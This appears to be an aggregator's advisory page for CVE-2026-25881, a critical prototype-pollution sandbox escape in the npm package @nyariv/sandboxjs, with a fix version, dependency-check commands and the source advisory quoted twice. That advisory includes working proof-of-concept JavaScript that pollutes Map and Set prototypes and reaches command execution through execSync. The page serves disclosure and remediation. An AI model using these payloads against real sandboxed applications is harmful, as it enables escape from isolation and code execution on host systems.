CVE-2026-25881: @nyariv/sandboxjs @nyariv/sandboxjs Has Host Prototype Pollution Vulnerability

CRITICAL
Advisory Identifier: GHSA-ww7g-4gwx-m7wj
CVSS 9.0
CWE-1321
Published
Advisory Summary

CVE-2026-25881 is a CRITICAL (CVSS 9.0) @nyariv/sandboxjs has host prototype pollution vulnerability (CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')) affecting @nyariv/sandboxjs libraries in the npm ecosystem. The issue involves @nyariv/sandboxjs has host prototype pollution from sandbox via array intermediary (sandbox escape). Remediation is available by upgrading affected packages to version 0.8.31.

CVE-2026-25881 at a Glance

CVE Identifier CVE-2026-25881
GHSA Identifier GHSA-ww7g-4gwx-m7wj
Severity CRITICAL
CVSS v3.1 Base Score 9.0
CWE Classification CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Affected Product @nyariv/sandboxjs
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 9.0

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-25881

To remediate this vulnerability, upgrade all affected @nyariv/sandboxjs dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@nyariv/sandboxjs fixed: 0.8.31
npm install @nyariv/sandboxjs@0.8.31
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @nyariv/sandboxjs

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-25881, inspect your project dependencies using npm:

npm ls @nyariv/sandboxjs

Analyze the terminal output to locate any version of @nyariv/sandboxjs in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.8.31), your application is affected.

Note: The npm ls @nyariv/sandboxjs command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution'), where the product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype. In @nyariv/sandboxjs, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A sandbox escape vulnerability allows sandboxed code to mutate host built-in prototypes by laundering the `isGlobal` protection flag through array literal intermediaries. When a global prototype reference (e.g., `Map.prototype`, `Set.prototype`) is placed into an array and retrieved, the `isGlobal` taint is stripped, permitting direct prototype mutation from within the sandbox. This results in persistent host-side prototype pollution and may enable RCE in applications that use polluted properties in sensitive sinks (example gadget: `execSync(obj.cmd)`). ### Details #### Root Cause: The sandbox implements a protection mechanism using the `isGlobal` flag in the Prop class to prevent modification of global objects and their prototypes. However, this taint tracking is lost when values pass through array/object literal creation. #### Vulnerable Code Path `src/executor.ts`([L559-L571](https://github.com/nyariv/SandboxJS/blob/main/src/executor.ts#L559-L571)): ```ts addOps(LispType.CreateArray, (exec, done, ticks, a, b: Lisp[], obj, context, scope) => { const items = (b as LispItem[]) .map((item) => { if (item instanceof SpreadArray) { return [...item.item]; } else { return item; } }) .flat() .map((item) => valueOrProp(item, context)); // <- isGlobal flag lost here done(undefined, items); }); ``` #### Exploitation Flow: ```txt Sandboxed code: const m=[Map.prototype][0] ↓ Array creation: isGlobal taint stripped via valueOrProp() ↓ Prototype mutation: m.cmd='id' (host prototype polluted) ↓ Host-side impact: new Map().cmd === 'id' (persistent) ↓ RCE (application-dependent): host code calls execSync(obj.cmd) ``` #### Protection Bypass Location `src/utils.ts`([L380-L385](https://github.com/nyariv/SandboxJS/blob/main/src/utils.ts#L380-L385)): ```ts set(key: string, val: unknown) { // ... if (prop.isGlobal) { // <- This check is bypassed throw new SandboxError(`Cannot override global variable '${key}'`); } (prop.context as any)[prop.prop] = val; return prop; } ``` When the prototype is accessed via array retrieval, the `isGlobal` flag is no longer set, so this protection is never triggered. ### PoC #### Prototype pollution via array intermediary: ```js const Sandbox = require('@nyariv/sandboxjs').default; const sandbox = new Sandbox(); sandbox.compile(` const arr=[Map.prototype]; const p=arr[0]; p.polluted='pwned'; return 'done'; `)().run(); console.log('polluted' in ({}), new Map().polluted); ``` **Observed output**: `false pwned` #### Overwrite `Set.prototype.has`: ```js const Sandbox = require('@nyariv/sandboxjs').default; const sandbox = new Sandbox(); sandbox.compile(` const s=[Set.prototype][0]; s.has=isFinite; return 'done'; `)().run(); console.log('has overwritten:', Set.prototype.has === isFinite); ``` **Observed output**: `has overwritten: true` #### RCE via host gadget (prototype pollution -> execSync): ```js const Sandbox = require('@nyariv/sandboxjs').default; const { execSync } = require('child_process'); const sandbox = new Sandbox(); sandbox.compile(` const m=[Map.prototype][0]; m.cmd='id'; return 'done'; `)().run(); const obj = new Map(); const out = execSync(obj.cmd, { encoding: 'utf8' }).trim(); console.log(out); ``` **Observed output**: `uid=501(user) gid=20(staff) groups=20(staff),...` ### Impact This is a sandbox escape: untrusted sandboxed code can persistently mutate host built-in prototypes (e.g., `Map.prototype`, `Set.prototype`), breaking isolation and impacting subsequent host execution. RCE is possible in applications that later use attacker-controlled (polluted) properties in sensitive sinks (e.g., passing `obj.cmd` to `child_process.execSync`). **Affected Systems**: any application using `@nyariv/sandboxjs` to execute untrusted JavaScript. ### Remediation - Preserve `isGlobal` protection across array/object literal creation (do not unwrap `Prop` into raw values in a way that drops the global/prototype taint). - Add a hard block on writes to built-in prototypes (e.g., `Map.prototype`, `Set.prototype`, etc.) even if they are obtained indirectly through literals. - Defense-in-depth: freeze built-in prototypes in the host process before running untrusted code (may be breaking for some consumers).

CVE-2026-25881 Affected @nyariv/sandboxjs Versions

1 component(s)
Fixed Versions:
0.8.31
Product / Package Ecosystem Affected Versions Fixed Version
@nyariv/sandboxjs
npm
< 0.8.31
0.8.31

References

Frequently Asked Questions

What is CVE-2026-25881?
CVE-2026-25881 is a security vulnerability in @nyariv/sandboxjs involving @nyariv/sandboxjs has host prototype pollution from sandbox via array intermediary (sandbox escape) under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution').
Which @nyariv/sandboxjs versions are affected?
Affected versions include releases prior to 0.8.31 across affected packages: @nyariv/sandboxjs.
What version fixes CVE-2026-25881?
Upgrading to 0.8.31 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @nyariv/sandboxjs affected?
Yes, @nyariv/sandboxjs is affected in releases prior to 0.8.31. Upgrade your dependency to 0.8.31 or later.
What is the CVSS score of CVE-2026-25881?
CVE-2026-25881 has a CVSS v3.1 base score of 9.0 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-25881?
CVE-2026-25881 is classified under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') (The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.).
How can I check npm dependencies for CVE-2026-25881?
Run the dependency tree command: 'npm ls @nyariv/sandboxjs'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-ww7g-4gwx-m7wj",
  "modified" : "2026-02-10T02:56:33Z",
  "published" : "2026-02-10T00:24:53Z",
  "aliases" : [ "CVE-2026-25881" ],
  "summary" : "@nyariv/sandboxjs has host prototype pollution from sandbox via array intermediary (sandbox escape)",
  "details" : "### Summary\nA sandbox escape vulnerability allows sandboxed code to mutate host built-in prototypes by laundering the `isGlobal` protection flag through array literal intermediaries. When a global prototype reference (e.g., `Map.prototype`, `Set.prototype`) is placed into an array and retrieved, the `isGlobal` taint is stripped, permitting direct prototype mutation from within the sandbox. This results in persistent host-side prototype pollution and may enable RCE in applications that use polluted properties in sensitive sinks (example gadget: `execSync(obj.cmd)`).\n\n### Details\n#### Root Cause:\nThe sandbox implements a protection mechanism using the `isGlobal` flag in the Prop class to prevent modification of global objects and their prototypes. However, this taint tracking is lost when values pass through array/object literal creation.\n\n#### Vulnerable Code Path `src/executor.ts`([L559-L571](https://github.com/nyariv/SandboxJS/blob/main/src/executor.ts#L559-L571)):\n```ts\naddOps(LispType.CreateArray, (exec, done, ticks, a, b: Lisp[], obj, context, scope) => {\n  const items = (b as LispItem[])\n    .map((item) => {\n      if (item instanceof SpreadArray) {\n        return [...item.item];\n      } else {\n        return item;\n      }\n    })\n    .flat()\n    .map((item) => valueOrProp(item, context));  // <- isGlobal flag lost here\n  done(undefined, items);\n});\n```\n#### Exploitation Flow:\n```txt\nSandboxed code: const m=[Map.prototype][0]\n              ↓\nArray creation: isGlobal taint stripped via valueOrProp()\n              ↓\nPrototype mutation: m.cmd='id' (host prototype polluted)\n              ↓\nHost-side impact: new Map().cmd === 'id' (persistent)\n              ↓\nRCE (application-dependent): host code calls execSync(obj.cmd)\n```\n\n#### Protection Bypass Location `src/utils.ts`([L380-L385](https://github.com/nyariv/SandboxJS/blob/main/src/utils.ts#L380-L385)):\n```ts\nset(key: string, val: unknown) {\n  // ...\n  if (prop.isGlobal) {  // <- This check is bypassed\n    throw new SandboxError(`Cannot override global variable '${key}'`);\n  }\n  (prop.context as any)[prop.prop] = val;\n  return prop;\n}\n```\nWhen the prototype is accessed via array retrieval, the `isGlobal` flag is no longer set, so this protection is never triggered.\n\n### PoC\n#### Prototype pollution via array intermediary:\n```js\nconst Sandbox = require('@nyariv/sandboxjs').default;\nconst sandbox = new Sandbox();\n\nsandbox.compile(`\n  const arr=[Map.prototype];\n  const p=arr[0];\n  p.polluted='pwned';\n  return 'done';\n`)().run();\n\nconsole.log('polluted' in ({}), new Map().polluted);\n```\n**Observed output**: `false pwned`\n\n#### Overwrite `Set.prototype.has`:\n```js\nconst Sandbox = require('@nyariv/sandboxjs').default;\nconst sandbox = new Sandbox();\n\nsandbox.compile(`\n  const s=[Set.prototype][0];\n  s.has=isFinite;\n  return 'done';\n`)().run();\n\nconsole.log('has overwritten:', Set.prototype.has === isFinite);\n```\n\n**Observed output**: `has overwritten: true`\n\n#### RCE via host gadget (prototype pollution -> execSync):\n```js\nconst Sandbox = require('@nyariv/sandboxjs').default;\nconst { execSync } = require('child_process');\nconst sandbox = new Sandbox();\n\nsandbox.compile(`\n  const m=[Map.prototype][0];\n  m.cmd='id';\n  return 'done';\n`)().run();\n\nconst obj = new Map();\nconst out = execSync(obj.cmd, { encoding: 'utf8' }).trim();\nconsole.log(out);\n```\n\n**Observed output**: `uid=501(user) gid=20(staff) groups=20(staff),...`\n\n### Impact\nThis is a sandbox escape: untrusted sandboxed code can persistently mutate host built-in prototypes (e.g., `Map.prototype`, `Set.prototype`), breaking isolation and impacting subsequent host execution. RCE is possible in applications that later use attacker-controlled (polluted) properties in sensitive sinks (e.g., passing `obj.cmd` to `child_process.execSync`).\n\n**Affected Systems**: any application using `@nyariv/sandboxjs` to execute untrusted JavaScript.\n\n### Remediation\n- Preserve `isGlobal` protection across array/object literal creation (do not unwrap `Prop` into raw values in a way that drops the global/prototype taint).\n- Add a hard block on writes to built-in prototypes (e.g., `Map.prototype`, `Set.prototype`, etc.) even if they are obtained indirectly through literals.\n- Defense-in-depth: freeze built-in prototypes in the host process before running untrusted code (may be breaking for some consumers).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@nyariv/sandboxjs"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.8.31"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.8.30"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-ww7g-4gwx-m7wj"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-25881"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nyariv/SandboxJS/commit/f369f8db26649f212a6a9a2e7a1624cb2f705b53"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nyariv/SandboxJS"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1321" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-10T00:24:53Z",
    "nvd_published_at" : "2026-02-09T22:16:03Z"
  }
}